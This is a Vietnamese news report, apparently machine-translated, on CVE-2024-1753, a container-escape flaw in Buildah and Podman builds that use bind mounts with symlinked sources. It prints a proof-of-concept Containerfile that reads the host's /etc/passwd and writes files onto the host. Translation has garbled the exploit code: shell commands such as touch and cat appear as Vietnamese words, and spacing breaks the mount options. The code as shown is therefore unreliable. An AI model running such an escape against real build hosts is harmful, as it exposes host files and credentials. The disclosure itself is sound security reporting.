Lỗ hổng vượt qua cách ly container trong Buildah và Podman

Một lỗ hổng bảo mật (CVE-2024-1753) đã được phát hiện trong các gói Buildah và Podman, cho phép truy cập hoàn toàn vào hệ thống tệp của môi trường máy chủ trong giai đoạn xây dựng container chạy với quyền root. Trên các hệ thống có bật SE.Linux Quyền truy cập vào hệ thống tập tin máy chủ bị giới hạn ở chế độ chỉ đọc. Bản vá lỗi hiện có sẵn và mới được chấp nhận vào mã nguồn Buildah.

Lỗ hổng này xảy ra do khi gắn các phần của hệ thống tệp bằng lệnh “mount —bind” trong quá trình xây dựng ở giai đoạn RUN, đối số với thư mục nguồn (tham số “source=”) không được kiểm tra để xem nếu nó tồn tại trong hệ thống tập tin gốc. Tệp cấu hình Containerfile do kẻ tấn công thiết kế có thể sử dụng hình ảnh vùng chứa trong đó thư mục gắn nguồn được định dạng dưới dạng liên kết tượng trưng đến hệ thống tệp gốc. Trong trường hợp này, thao tác gắn kết sẽ dẫn đến việc gắn hệ thống tệp gốc của môi trường máy chủ bên trong vùng chứa, điều này sẽ cho phép ở giai đoạn RUN có toàn quyền truy cập vào hệ thống tệp của môi trường máy chủ và tổ chức thoát khỏi vùng chứa trong quá trình xây dựng bằng cách sử dụng lệnh “buildah build” hoặc “podman build”.

Một ví dụ về một Containerfile độc ​​hại, được xây dựng bằng lệnh “podman build -f ~/Containerfile .” sẽ hiển thị nội dung của /etc/passwd và tạo các tệp /BIND_BREAKEOUT và /etc/BIND_BREAKOUT2 trong môi trường máy chủ: FROM Alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM Alpine RUN echo “ls root container " RUN ls -l / RUN echo "Với khai thác hiển thị root máy chủ chứ không phải root của container và tạo /BIND_BREAKOUT trong / trên máy chủ" RUN —mount=type=bind,from=base,source=/rootdir,destination =/ khai thác,rw ls -l /khai thác; chạm vào /khai thác/BIND_BREAKOUT; ls -l /exploit RUN echo "Với khai thác hiển thị máy chủ /etc/passwd, không phải của vùng chứa và tạo /BIND_BREAKOUT2 trong /etc trên máy chủ" RUN —mount=type=bind,rw,source=/etc2,destination=/ etc2,from=base ls -l /; ls -l /etc2/passwd; mèo /etc2/passwd; chạm vào /etc2/BIND_BREAKOUT2; ls -l /etc2

Nguồn: opennet.ru

Mua dịch vụ lưu trữ đáng tin cậy cho các trang web có bảo vệ DDoS, máy chủ VPS VDS 🔥 Mua dịch vụ hosting website đáng tin cậy với bảo vệ DDoS, máy chủ VPS VDS | ProHoster